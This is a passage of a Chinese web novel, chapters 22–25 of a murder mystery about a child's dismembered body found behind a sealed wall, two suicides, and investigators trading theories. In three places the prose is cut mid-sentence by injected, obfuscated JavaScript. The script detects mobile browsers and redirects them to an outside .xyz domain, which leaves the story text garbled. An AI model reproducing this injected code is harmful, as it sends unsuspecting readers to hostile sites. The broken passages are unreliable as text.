墙壁上本来有一个门，或者说窗口，可以让这个空间里的人与外界产生关联，但是那个人在杀死舒久月的儿子之后封死了窗口，把那里伪造成一面墙壁。 高琴已经喊木沐去查舒久月私生子和其生父的信息了，但是到现在为止还没有得到答复，于是他颇为头疼，打电话过来想让月栀酒也参与侦破工作…… 也是因为这个电话的原因，月栀酒彻底睡不着了，来到客厅里想看看有没有什么防止误锁的机关可以打开这扇门，但是都没有找到。 刚好就在这个时候，保姆照例上楼来打扫卫生。 月栀酒为了缓解自己看上去像个小偷一样的尴尬，只好自荐帮阿姨一起打扫。 “既然月公子觉得欠了我一瓶酒的人情，那就好办了。不如这样，我再请月公子吃个早餐，然后亲自开车送你回家。作为报酬，你也请我去你家参观一圈，顺便吃个一两顿饭，你觉得怎么样？” 巫漓儿的实验结束了，结论和她所希望的一样……但是这个答案，却更令她容易被沼泽裹挟进去。巫漓儿想用来寻找坚持下去动机的信念破碎了，地基成空、房屋倒塌，一切泡沫做成的世界都化为了乌有。 而月栀酒不知道巫漓儿在想什么，只是很随性地说：“没问题，山珍海味任君挑选。” “什么？！呃……” 巫漓儿听到月栀酒的这句话，竟猛然捂着肚子蹲倒下去，极端疼痛的表情划过每一根发丝，凭空滋生的冷汗瞬间蔓延她的全身。 月栀酒一下子愣住了。 这几天发生的事情一件比一件奇怪，莫非是什么古怪的预兆吗？ “你……你没事吧？” 月栀酒往前走两步，想去查看巫漓儿的情况。 “你别过来！”巫漓儿大喊，眼眶里已经痛出了泪水，但她还是尽量调整气息，对保姆说：“刘妈，麻烦给我一块浴巾……” 保姆对这个场面倒是没有像月栀酒这么意外，她飞速冲进浴室里抓出来一块浴巾，把巫漓儿给裹了起来。 “不好意思啊，这位少爷，能不能麻烦你稍微回避一下？” “……哦……好。” 月栀酒前后左右看了一圈，不知道该往哪里回避。 巫漓儿倒在客厅和其他房间的交界处，他也没有办法去别的房间，但是客厅相当通透，他也只好背过身去，尽量往远离巫漓儿的方向挪去。 他走到落地窗的角落，透过玻璃看到了一辆正红的的跑车，表情严肃了起来。 其实在月栀酒错开视线的前一秒，他清楚地看到了巫漓儿身下被浸染上出一片经暴力摧残过的鲜红之花。 22. 奇门凶杀案 —————— 花教授也很无奈，不知道怎么回事就被月栀酒套进去了，如果拒绝的话，还会显得她心虚。 她刚一到现场，高琴就认出她来了。 “花教授是吧？” “是。” “我们这边墙也快破开了，你来得很是时候啊。” “是有点巧……” 花教授尴尬笑笑，被空气中那股浓烈的腥臭味熏得心悸，抬手捂了捂鼻子。 不过几分钟的时间，墙壁就被技术人员给推倒了。 墙壁轰然倒塌的瞬间，密闭空间里的恶臭像无数条饿极了的毒蛇看到食物般逃窜，分分钻入众人的鼻腔，在里面筑穴成家、繁衍后嗣。 “碎……碎的？！” 李晓音站在前面，自然是最先一批看到墙内情形的，她瞟见墙内尸体的瞬间，不由地惊呼出声。 花教授往前走两步，也看清了那“具”尸体。 准确来说，那些东西不是尸体，而是七零八碎的孩童尸块，以及属于该孩童的、被鲜血染红的衣物。 “我出门走的急，手套、口罩和常用工具给我，高队长把其他人拦在外面，不要破坏现场。”花教授面色阴沉，走到最前面说。 “好。”高琴配合，让人把工具箱交给花教授。 花教授戴上口罩和手套，穿上鞋套等保护现场的装备之后，自己走进了墙后密室，唯一暴露在外的眼睛里闪烁着漆黑的夜光。 尸体周围爬着一些苍蝇蛆虫，但数量不算太多，又因为这几天永生的天气还很闷热，尸体的死亡推测时间不超过24小时。 尸块的主人是一个年龄不会超过八岁的小男孩儿，他死亡的时候面带惊恐，但其中还是不可思议的成分居多，极有可能是熟人作案。 小男孩的尸体被分成十余块，致命伤并不方便直接下定论，但是这些尸块上都没有出现过伤痕，抛开凶手将他一刀捅死，再沿着刀伤痕迹分尸的情况来谈，小男孩头部还有一钝器殴打的致命伤。就头骨损伤的程度来看，凶手至少击打过死者头部同一位置三次，力道是成年男性的全部臂力，击打两次就足以致命。 花教授检查完尸体的大体情况，拍了一些现场照片，走出来跟高琴简单交代了一下。 “……然后做一个DNA比对。我听说了舒久月的案子，也不排除连环凶手犯案可能性，这个孩子很有可能和舒久月有关系，说不定还会是直系血亲。” “这个我之前也有想到，我已经让人去查和这个小孩儿有关系的资料了。” “好，那个破墙的人在哪？”花教授问高琴。 高琴指了个人，自己走进去查看尸体的情况。 那人走过来，粗声大气地说：“我就是那个敲墙的，你找我有啥子事？” “这面墙没有门吗？” “没有，但是……” 他把墙壁上那个20cm×20cm的新填充窗口的事告诉了花教授。 “没有别的出入口了？” “再来就是窗子了，那里倒是挺大的，但是跳下去一定得残了，除非那人是蜘蛛侠。” 花教授谢过了他，说可以让他回去休息了。 高琴吩咐人在里面做进一步的细致检查，出来问花教授有什么看法。 “我测量过这个小孩子的头围，他体型偏瘦，肩宽也比较窄……”花教授指着墙壁上没有被破坏的那块异色墙壁说：“理论上，他在六七岁之前都是可以勉强通过这个孔洞的。” 高琴好像明白了点什么，“那我是不是可以理解为你的意思是……” “我没有什么意思。推理破案是你们的工作，我能帮上忙的都已经帮了，你们应该有专门负责各块细化调查的专业人员，我就先回去了。” 花教授看起来很疲惫，打了个哈欠就摘了手套想回去。可是高琴果然和月栀酒说的一样死皮赖脸，硬是拦住了她。 “欸欸欸，不行！最近局里人手不够，又接连发生大案，还有些事情需要花教授帮忙，你要不然就力所能及地帮一下？” “我能拒绝吗？” “这样好像不太好。我都如此诚挚地挽留了，你要是没有一件更重要的事情，那么为人民服务就是红色一级重要大事件，难道你不这么认为吗？” “你连中国共产党的根本宗旨都搬出来了，我敢不认为吗？别废话了，需要我做什么就赶紧说吧，我明天早上还有课呢。” ………… 就这样，花教授还没从月栀酒的坑里出来，就又上了高琴的套。他在警局帮忙到很晚，什么杂七乱八的活都添了把手，感觉自己简直就像一个便宜的临时工。 她回到家时已经快十一点了，洗完澡又收拾了一下第二天上课需要的教材，睡觉的时候已经过了凌晨。 第二天早上，她没有再喷香水，恢复了原先的气质。花教授刚准备出门回学校上课的时候，迎面就撞到了刚上到14楼的月栀酒和一个没见过的女人。 “哟，花教授。”月栀酒叫道。“不是说您昨儿个晚上在警局帮忙到很晚吗？怎么今儿起这么早啊？” “我要上课呀，小月老师，你以为所有人都和你一样可以睡到自然醒吗？”花教授锁好了门，看到月栀酒身边看起来比他还没心没肺的女人，扔给他一个眼色，压低了声音问：“女朋友？” “没有没有，就普通朋友。”月栀酒又看了眼巫漓儿，模棱两可地说：“算是……朋友？” 巫漓儿没有理他，对今天早上的事情还心有余悸。 当时她疼痛难忍，鲜血一直在往外流，根本止不住。月栀酒一直背对着客厅的方向，没有问她多余的话，只是望着窗外思索了几秒钟，然后说了五个字：“我是月栀酒。” 巫漓儿痛到耳鸣，听到这句话时，身下的流血速度骤然减缓。 月栀酒又用很治愈的语气说了一遍：“我是月栀酒。” 巫漓儿身下的血才彻底止住了。 她差点就忘了月栀酒使得一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357040|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好玄学，不过尽管如此，这个家伙也还是一个不知深浅的自大狂，这个世界上还有很多他不知道的事情，月栀酒这样游刃有余的表情，终有一天也是会支离破碎的。 保姆刘妈扶她去冲了一下身体，又擦掉了地上的血迹。 巫漓儿再次换完衣服走出来后，她和月栀酒都心照不宣地装作无事发生，二人相对无言地上了车，月栀酒只问她一句：“你来开车没有问题吧？”在得到了巫漓儿的默认之后，他们便一路都再没有说过话了。 月栀酒还以为这种满是秘密的气氛会在他们身边围绕很久，但是走出电梯遇到花教授的时候，他终于找到了打破古怪立场的突破口。 可惜花教授要去上课了，而巫漓儿还是用寓意不明的深邃眼神盯着他，盯得他毛骨悚然。 刚好在这个时候，木沐打开了1403的房门。 他也没有再提昨天月栀酒干了什么，只是一开门就急切地说：“酒哥，又有尸体出现了！” 正准备下楼的花教授驻足在电梯前，她本来想问问发生了什么，但是又看了眼手腕上的手表，发现快要迟到了，于是又恋恋不舍地走进电梯，对月栀酒说：“我先走了，需要我帮忙的话可以给我发消息。” 电梯门关闭。 巫漓儿本来站在1401门前，看到木沐他们的1403房门打开，直接就冷着脸走了进去。 木沐侧身让巫漓儿走进去，又冲月栀酒招手，“酒哥，来帮帮忙吧。” 月栀酒真心没料到会有第三具尸体出现，不知道跟舒久月的死有没有关系。好在他素来清闲，又出于心理学家的职业病，对这种东西有一种纯天然的好奇，于是就没有犹豫地跟进去了。 “今天又怎么了？”巫漓儿一进去就坐到沙发上，看起来对这里很熟。 威妮娃还是顶着那副与我无关的表情，在研究台上捣鼓自己的小机器人。她看到巫漓儿脸色有些苍白，关切地问道：“漓儿姐姐，你怎么了吗？看起来精神状态好像有点不太行。” “我没事。”巫漓儿摆摆手，翘着二郎腿，身体微偏，手肘支着脑袋靠在沙发扶手上问：“说说吧，今天是又发生了什么。” 木沐回答说：“今天早上六点钟左右，城郊的民警发现了一只左脚，但是这些左脚的骨头也并不齐全，只剩下血淋淋的大半只脚。然后上面就下达命令全市搜查，八点钟左右，我们队这边发现了一只左手，确认与那只左脚属于同一死者……” “说重点。”巫漓儿兴致乏乏，打断了木沐说。 “昨天来帮忙的李法医留在这边没有回去，周法医也清醒了，裹着纱布就去了现场。高队说让我请酒哥和女……”木沐把“女”字说到一半，紧急转音，变成了：“漓、漓儿姐帮帮忙。” 月栀酒站在巫漓儿斜对面沙发的背后，双手杵在沙发背上，“我就不必了吧？反正我去现场也帮不上什么忙，等你们找到嫌疑人之后，我倒是可以帮着审。” 巫漓儿说：“我也不去。” 23. 奇门凶杀案 “不用去现场。”木沐仿佛早就知道这俩人的心思，“高队说了，我们去现场都帮不上忙，不如让我们八仙过海，各显神通，这样效率还高一点。” 巫漓儿点点头，表示知道了。 月栀酒这时才想起来巫漓儿进门的时候很随意地换了拖鞋，提到高琴时也很熟悉，于是转头过去问：“大小姐你也认识高队长？” “高琴是我大表哥。”巫漓儿走到木沐身边，手搭在他的肩膀上，眼睛看着木沐的电脑屏幕，“你应该还想问这两个小家伙和我的关系吧？不用问了，他们是我捡来的小东西，养成这种怪样子也是不容易……这房子是我前几年一时兴起买下来的，因为太小了，不符合我骄奢惯养的大小姐脾气，所以就扔给他们住了。” 月栀酒听得有点无言以对。 这里是市中心的高档小区，怎么从她嘴里说出来就像是很憋屈一样？月栀酒寻思自己好像也没有这么穷吧……他现在真的很想告诉高琴，巫漓儿才是真正的富二代脾气，像他这样的已经算是很收敛了。 木沐的电脑上是目前案件的进展，巫漓儿催促他快点往下滑，她看不到了。木沐赶忙说：“都凑过来不方便，我还是发到你们手机上吧。” “嗯。”巫漓儿拍拍他，顺手拿了柜子里水杯去接水。 月栀酒打开手机界面看，不自觉想到舒久月家里矮桌上的茶盏。 高琴说过舒久月给尤奇和冯二马倒水用的都是纸杯，孔小艺在舒久月家里的时候更是连喝水的待遇都没有。 在木沐和云小五的调查情报中，尤奇和冯二马都是和舒久月关系极为亲近的人，如果连他们用的都是纸杯，那么凶手该是和舒久月关系有多好的人才可以用上茶盏？ 茶盏…… 私生子…… 和舒久月关系亲近的人…… 月栀酒闭着眼睛重现当时的场景。 一个面容模糊的人先走出来，面色愤怒，舒久月连忙穿着衣服追出来，跟他吵着一些听不清内容的话语，然后男人推了一下舒久月…… 不对。 还要往前走两步。 只有这样的步伐和行为举止，才能和虎口握刀痛死舒久月的人身高体型相符。 舒久月也愤怒起来，质问着男人什么东西。然而男人只是思索了几秒钟之后，突然下定决心，冲进厨房拿了把菜刀，再冲回来袭击舒久月。 当时舒久月背靠着餐桌，以至于凶手捅死她的时候是先撞上了餐桌，舒久月才挣扎着倒到地上。 还是不对。 如果这样推理，现场的一切都可以解释得通，除了一点——舒久月几乎没有反抗的痕迹。 这又是为什么呢？ 尸体检测确定舒久月死亡时没有服用任何扰乱心智的药物，那么作为一个神志清醒的正常人，舒久月面临有人想杀害她的时候，为什么没有激烈反抗，反是而任由其将自己杀死呢？ ……说不通。 但是如果舒久月做出过反抗，其余的一切环境成像就又说不通了，甚至连凶手的存在都无法证实。 “又想到舒久月了？”巫漓儿好像真的能听到月栀酒的心声一般，心不在焉地问。 “我觉得有一点不合理。”月栀酒的手机屏幕已经黑了，他又用指纹解锁了手机，屏幕上再次亮起第三起案件的档案。 巫漓儿没有往下问的意思，看上去好像心情好了一点，云淡风轻地说：“不重要。你与其在乎舒久月的死哪里说不通，不如把重心放在调查第三具尸体是谁……嗐，我忘了，现在只找到了一些尸体部位，不能说是找到了‘一具尸体’，只能说是找到了‘一些碎尸块’。” 木沐给他们拉了个群，方便同一消息只用发一次大家就都可以看到。 他在群里单独发了两块尸体零部件的照片。 那只残缺不全的左手小拇指上居然戴了一只没有任何文字，只有几道简易花纹的纯银戒指。 威妮娃本来是在一心二用，一边研究小机器人一边看情报，在看到这张图片的时候，她和木沐都下意识看了眼巫漓儿，不到一秒钟就又错开视线。 月栀酒敏锐地捕捉到这几人的小表情，心里有了数。 “认识？” 威妮娃和木沐生怕自己这里出现纰漏，都不约而同地假装耳聋眼瞎，而巫漓儿则是毫无破绽地扔回去一个疑问。 “你觉得我们会认识一只脚和一只手？” 说谎。 月栀酒立刻做出判断。 不知道为什么，他居然也对这只已经完全支离破碎的左手有一种熟悉感。 “也有道理，不管怎么说，还是先确定了身份比较要紧。” 木沐说：“关键就在这儿呀，所有的质问都被损毁了，DNA也跟数据库里的对不上，根本无从查起。现在有的身体部位还太少，只能希望多找到一些身体部位，来做具体一点的凶手侧写。” “也就是说，现在按照正常的思路无法推进了是吧？” “对啊，否则高队也不会这么焦急。他已经超过24小时没睡觉了，全靠咖啡吊着命呢。” 月栀酒摸着下巴想了想，“看来我是得用一些偏方了……” 还没等月栀酒想出具体的法子，木沐又惊呼出声：“尤奇死了！” “什么？为什么？”这次巫漓儿比月栀酒还强先问出口，语气里的震惊和疑惑的神情都比先前要浓上三分，但是对案件本身仍旧是非常淡泊。 木沐解释说：“好像是自证清白加殉情。” 威妮娃自言自语嘟囔了一句：“这种时候还要来添乱。” 木沐没注意威妮娃说了什么，只是继续根据情报分析可能性，“自从舒久月一案的审讯结束之后，尤奇当天就在高队的建议下去看了心理医生，但是结论相当糟糕。现在已经确定了他就是自杀无误，结合高队对他的审问情况，以及各种证据表明，他只有殉情和自证清白这两个明确的死因……” 月栀酒听到短短几天之内的死亡人员名单，真是不由地替高琴头疼。 此时阳光刚好打到他的手表上，在洁白无瑕的天花板上印出了一块椭圆形带棱角的光晕，月栀酒不自觉在天花板上排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357041|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列当下情况延伸出来的阵法，得到了方向性的答案。 木沐紧接着就又看到一条消息，叹了口气说：“还真是祸不单行呀……孔小艺也在家里上吊了。” “真是奇了，”巫漓儿面色冷淡地开玩笑，“这是什么地方在拉业绩吗？离年底还有一段时间呢。” “孔小艺又是为什么自杀？”月栀酒问。 “因为网暴啊。酒哥和女……漓儿姐你们这种怪物不算人，所以理解不了……” 巫漓儿略带玩味地睨了木沐一眼，“什么意思？我在你眼里连人都不是？” “不是，我是说你们都是牛人，与众不同，所以理解不了孔小艺的想法。但是孔小艺在几年前就有好几次因为网络舆论而差点自杀，她的精神状态并不比为情自杀的尤奇好上多少。舒久月被杀害之后，出于她之前和舒久月的各种过往经历，网络舆论对于她的指责空前高涨，虚构的‘事实’被网民完全笃定，甚至还捏造出了很多莫须有的‘证据’，各种阴谋论比泡沫经济长得还高，孔小艺就算心态再好，也该崩溃了。” 月栀酒在手机上翻阅资料，“她的自杀被证实了吗？” “也证实了，她和尤奇的死亡方式都是自杀，没有任何一点疑虑。”木沐得出了一个结论，“所以他们两个的死应该都不算在连环凶杀案里面。” 月栀酒点头。 他也是这么想的，只是他得出的结论略微有一小点偏差——光看眼鼻子底下的这三具尸体，杀害他们的凶手都未必是同一个人。 “等会儿，好像还少了个人，冯二马怎么样了？” 木沐的效率极快，月栀酒几乎刚问完问题就得到了答案。 “他呀，他没什么事，只是宣布退隐了。” 叮咚—— 门铃响了。 “看来今天你们这里是风水宝地呀。”巫漓儿抱着粉红色爱心花样的水杯，没有去开门的意思，“来来来，大家都来猜猜门外是谁。” 月栀酒适时捧哏，“我猜门外不只一个人，非得是俊男加美女的搭配不可。” 威妮娃没有发表观点，木沐也同样沉默不语，很自然地走过去开门。 他倒是习惯了，作为一个有眼力见儿的小绅士，这种活计一般都是他来干的。 “小木耳，快开门呐——威妮娃，你们在家吗？” 门外传来一道年轻的女声，声音听起来很是俏皮，然而木沐已经触摸上门把手的指头却像触电一样，欻的一下缩了回去，一溜烟钻回房间里用被子盖着脑袋。 威妮娃的反应可以说是和木沐完全相反，她兴致缺缺的表情在听见门外声音的那一刻变得振奋起来，像只小猫一样跳起来，径直冲到门口去开了门。 巫漓儿对同样安安稳稳端坐着的月栀酒说：“月公子料事如神。” 然而在这个时候，1401的房门还没有被打开。 月栀酒也回敬她了一句：“巫大小姐深藏不露。” 他心里不自觉想到，巫漓儿为什么要故意露出这种乍一看非常荒唐，但细想下又无甚大纰漏的破绽？ 24. 奇门凶杀案 最先进屋的是一个坐在轮椅上的文静男生，而后映入他们眼帘的才是在门外喊木沐和威妮娃的女生。 月栀酒略微偏了点身子，压低声音去和巫漓儿耳语，“这位就是令木沐怕到作息失调的神秘老师？” 巫漓儿和来人招了招手，看起来并不算熟。她也偏过些头小声说：“可不嘛，当年木沐的老爹就很害怕这小丫头，可能害怕也是遗传的吧。” “这位小老师看起来也不大，当年是什么时候？” “确实不大，她和轮椅上的少年都是20岁左右，但是我跟他们不熟，你想知道什么就自己打听吧，我也不是很擅长社交。” “巫大小姐还真是不客气。” “对你已经算很客气的了。” 只见坐在轮椅上的少年是一副斯文谦卑之态，身后的少女推他进来。少女用造型罕见的盘发夹盘着头发，造型与一般的大学生相差不大。 “白月姐姐！”威妮娃直接扑到少女身上，把少女都扑得倒退了两步，“天呐，白月姐姐，我想死你啦！” “收敛一点，这么多人呢。”白月揉着她的脑袋，把她引向轮椅少年的方向，“怎么不喊你温芙哥哥？” “哼，我不喜欢他。白月姐姐是我的，你只能喜欢我，谁要是敢跟我抢，我就让他死无葬……” “威妮娃。”白月半是宠爱半是严厉地叫住了她，“说什么呢？你这小丫头怎么动不动就说死说活的？不好的旧习惯得改改。” “我知道了，白月姐姐～” 除了对巫漓儿之外，威妮娃在其他人面前从来没有过好脸，唯独在白月跟前说话的语气近乎于撒娇。 月栀酒和巫漓儿在旁边像是正在看话剧的观众，他们只恨这里没有花生瓜子，看热闹看得不尽兴。 坐在轮椅上那个名叫温芙的少年缓缓开口问：“木沐去哪了？” 白月这时才顺着温芙的话提起了木沐，“小木耳，我的小木耳呢？他不在吗？奇怪了，我不是说今天要来家访的嘛……” 威妮娃不知道为什么，神情有些愠怒。她环着白月的腰，微微抬眼看着白月。 “小木耳是什么称呼？为什么我没有爱称？” 白月已经被威妮娃推到墙上，她面上格外无奈，只得背靠着墙壁，用手去顺威妮娃金黄色的头发，像抚慰一头从出生就开始流浪的小老虎。 “哪里是什么爱称？只是那家伙经常教不会，我就说他没有耳朵。刚好那次在场的有一个学员有口音，说他木（没）有耳朵，我觉得有趣，就时不时在他掉线的时候叫他小木耳……” 威妮娃才不管白月解释了什么，而是直接用洋娃娃一样精致的脸原地撒娇，“不管不管，都是借口。” 实际上她生气的点不是“小木耳”这个称呼，而是那句“我的小木耳”中的主语。 白月问笑着她：“那你想怎么样呢？要不然以后我都叫你小宝贝？” “好啊！”威妮娃那卡姿兰的大眼睛忽闪忽闪，很满意般点了点头。 “那请问我的威妮娃小宝贝，木沐小同学在哪儿呢？” 威妮娃还是没有松开白月，只是左手盲指了木沐的房间，然后又搂回白月的腰。 “他在那里瑟瑟发抖呢……白月姐姐，他又不是什么重要人物，你不要理他了好不好嘛？你这次来是想做什么？你可以告诉我的呀，我比他有用多了……” 趁着威妮娃跟白月撒娇的间隙，巫漓儿又跟月栀酒讲起悄悄话来，他二人简直就像村口聊别人八卦的退休人员。 “你看温芙，我第一次见他的时候，觉得他是个挺温文尔雅公子哥儿，但他其实是两三年前某一起案件的间接凶手，而且整起案件都是他独自一人谋划的……看起来不像吧？” 月栀酒回看巫漓儿，他现在也不太能确定这个女人的哪句话是别有深意，哪句话是说着玩儿的了。 “我眼神不好，所以没有以貌取人这个技能。” “可你仰仗的‘直觉’不也有一半是以貌取人吗？” “直觉只是个借口而已，巫大小姐知道我说的直觉是什么。” 巫漓儿当然明白他的直觉是那些无法言说的玄学手段，于是放下水杯，双手环胸说了句：“我发现你真的很喜欢强词夺理。” 月栀酒很多年没有被人接连呛火了，他本来也不是一个脾气特别好的人，自然没道理自己默默吃黄莲，“巫大小姐对人说话这么不客气，想来朋友不多吧？” “朋友太多也算不得什么好事，谁知道狐朋狗友会不会混杂其中。月公子如此多话，你的朋友们是不是都很烦你啊？” “对啊，我的朋友都没什么好下场，巫大小姐要当心了。” 月栀酒和巫漓儿一样，呛火的时候没有恼怒，只有互相试探的玩笑话。 门口的白月好不容易才把腻腻歪歪的威妮娃从自己身上摘下去，冲里面木沐的房间喊：“小木耳，出来打个招呼嘛——” 没有人回应。 “我开始倒数了哦，三……我上次来永生出差的时候事忙，你借口躲我，我也懒得说你，但这次我是来旅游的，有的是闲工夫好好帮你补补课。你再不出来的话，我就要开始安排课程表咯，二……本来我们只是想来旅游的，但是听说这边发生了一些麻烦的案子，你出来跟我们讲讲，讲得好的话，我这次就放过你……最后一次机会，快到一咯。” “别别别！老师……” 木沐打开房门，冒出了一个鸡窝般乱糟糟的小脑袋。 白月一边招手让他过来，一边将手搭在温芙的轮椅扶手上，跟温芙指桑骂槐。 “你说他从来都不怕那种老古板，反而怕我这种温柔和蔼的老师，这是什么奇形怪状心理？” 温芙笑笑说：“我没有过老师，不是很清楚。” 木沐粘着墙边挪到客厅，结结巴巴地连囫囵话也说不清楚。 “老、老师，我、我不是……那个，你们要来这里……老师您和温芙哥，你们订、订住的酒店了没有？要不要我帮你们订啊？” “闭嘴！” 威妮娃吼了木沐一声，把他吓得差点跳起来。 “谁让你说话了？轮得到你说话吗？现在倒是想起来了，之前干什么去了？没看人家都没带行李来吗？一看就是已经找到地方住下了，一点眼力见儿都没有。更何况你出去都有人接待，我白月姐姐能没有人管吗？” 巫漓儿没忍住笑出了声。 虽然她经常听木沐和威妮娃拌嘴，但是今天木沐好像被拿走了胆，威妮娃又好像有点玩嗨了，格外有趣。 威妮娃转过来弱弱瞪了巫漓儿一眼，“漓儿姐姐，你是不是在笑我？” “怎么会呢？你这么可爱。”巫漓儿站起来，对白月说：“有朋自远方来，我们当然是不亦乐乎，只是现在时间紧迫，今天能到这里的人也肯定都不是散步散来的，咱们就少客套两句，快点进入正题吧。” “正有此意。”白月跟巫漓儿点了下头，挥手示意木沐坐到电脑桌前。 巫漓儿指着月栀酒，跟白月和温芙介绍，“那位是个成分复杂的邻居，叫月栀酒。” 几人很客气地道了好。 因为巫漓儿私底下给月栀酒八卦过这两人的身份，所以她跳过了给月栀酒介绍的环节，继续问白月：“你们来这里是单纯游玩，还是……” 白月摇头，“是温芙。本来我们是要先去京城的，但是温芙说永生有事要发生，或许可以找到一个人，我们就来了。结果很显然，昨天我就听说大明星舒久月被人杀害，今天一下飞机我就得到消息，三个嫌疑人中，有两个已经自杀，所以就赶紧过来找你们了。” “重点是图片吧？”月栀酒突然插嘴。 “嗯？” 白月和温芙都转头看向他。 巫漓儿毫不客气就怼过去，“他在刷存在感，不用理他。” “我是说那张左手的图片。”月栀酒这次没有将重点放在和巫漓儿拌嘴上，而是干脆把话挑明。 早在第一次看到那张照片的时候，木沐、威妮娃和巫漓儿就都露出过奇异的神色。月栀酒通过白月和温芙时不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357042|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就往电脑里那张图片上瞟的眼神不难看出，方才进门的此二人对这张左手照片的熟悉感也不例外。 温芙转过头去和白月对视了一眼，白月开口问月栀酒：“这位小哥，请问你是哪里人？” “十五岁以前在京城。”月栀酒回答。 “京城？十五岁以后呢？” “全球各地到处跑，在国外住过一段时间，后面几乎都是在永生。我在南方和京城的产业比较多。”月栀酒大概回答完，又接着问：“姑娘，搁这儿查户口呢？” 温芙侧过身，拍了拍白月放在轮椅扶手上的手，白月弯身下去听温芙跟她说悄悄话，脸色变化了很多种表情。一旁的威妮娃紧紧捏着拳头，张了张嘴想要讲话，但最终也都没有出声，只是白了眼温芙，把头扭开。 月栀酒坐到位置刚好可以看到白月的下半张脸，于是根据她的口型读出来一些东西。 “当然……你知道的，这种答案对我没用……我知道……你是说……我就是这么想的……不是第一次了，我可以接受，但是我要知道原因……当然……” 说到最后一句的时候，白月有些激动，又恢复了进门时开心的样子，对大家说：“不好意思啊各位，我忘了我们订的音乐剧门票是今天下午的。在座的大伙都是能人异士，又都有任务在身，我们就不留下来添乱了，先走一步咯，告辞！” 木沐正在绞尽脑汁地想怎么跟白月解释自己毕业半年后技术居然毫无进步的窘境，听到她们有事要离开，自然是什么也管不上了，第一个跳起来投赞同票。 “音乐会好啊！老师好不容易可以出来旅游，就好好放松心情玩一玩。今天听完音乐剧之后，你们还有什么安排吗？要不要我给您推荐一下这里有什么地方好玩的？我送您啊……” “你少说两句会死啊？” 威妮娃咬牙切齿地来木沐旁边骂他，用力踩了一下他的脚，然后去追已经把门打开了的白月。她拉着白月的手摇晃，撒娇意味十足，“白月姐姐，你真的现在就要走啊？不吃个午饭吗？” 温芙用余光扫过威妮娃，眼睛里蒙上了一层不透气的灰纱。 白月没有注意，跟威妮娃招手说拜拜。 “我们还要在这里呆几天，回去之前一定接你过来玩一次好不好？” “怎么这样啊，这么快就走了……”威妮娃嘟着嘴，生气的样子也很可爱。 白月已经推着温芙走了出去，突然想起来什么，又松开轮椅退回来。 “小木耳。” “啊，到！”木沐临了被点名，刚松了半口的气又猛然提回去，站得笔直，气都快理不顺了。 “我在来的路上顺手调查过一段监控内容，你还记得我教过你的一个方法吗？世界上的监控内容一共有三种——有问题的、没有问题的，和你感觉有问题，但是查不出问题的。听着，如果你的直觉告诉你那段监控有问题，那么不管你能不能查出那段监控的毛病，它都一定是不正常的，你明白了吗？” “明……白了吧……” “但我这是因材施教昂，你不可以拿我这一套乱教你的学生哦……好了，相信你的能力，你对付这些小事肯定是没有问题的，遇到难题就来找我，拜拜！” 白月这次头也没回，走出去关上了1403的房门。 威妮娃气得跺脚，径直冲到木沐面前，劈头盖脸就是一顿责怪，“都怪你，白月姐姐好不容易来一趟，你干嘛催她走啊？” “这也能怪我？”木沐一脸委屈。 “我不管，总之今天晚上你最好给我睁着眼睛睡觉，哼！” 威妮娃抓起桌子上仿真小机器人的脑袋砸到木沐胸口，愤怒地快步走回自己的房间里了。 木沐接住小机器人的头部，这个角度看上去有一种恐怖玩偶的诡异之感。他委屈巴巴地看向月栀酒和巫漓儿，噎着声音说：“你们看她……” 巫漓儿只说了两个字：“活该。” 月栀酒也只是摊了手，表示他也不敢惹女人这种从古至今都没有一个人能研究透彻的神奇生物。 25. 奇门凶杀案 巫漓儿突然话题一转，问月栀酒：“月公子，你今天午饭想吃什么？” 月栀酒看了眼手表，“现在才十点半，这个时间段考虑午饭的事是不是过早了一点？” “不早了。”巫漓儿从包里拿出一个粉饼小盒子打开来补妆，盖子内侧的镜子照出木沐的面容，“木沐小同学。” “欸。”木沐回答道。 “听说总局那边已经成立了重案组，大部分派出去的人才都被调回来了？” “是啊，高队是这么说的。” “你怎么不去帮忙呀？” “我这不是要等着和你们……” 木沐真的是比风箱里的老鼠还不知所措，明明是高琴让他来撺掇月栀酒他们帮忙的，现在听巫漓儿的意思是嫌弃他了。 “高队长需要你的帮助。”巫漓儿补完了妆，啪的一下合上粉饼。 “这起案子我能帮上什么……忙……”木沐离家出走的情商突然就回家敲门了，他恍然大悟般明白过来巫漓儿是在支开他，连忙收拾东西，“噢，对对对，我想高队一定非常需要我的协助，我得赶紧过去……” 巫漓儿一边笑着说路上小心，一边打开门把他推了出去。 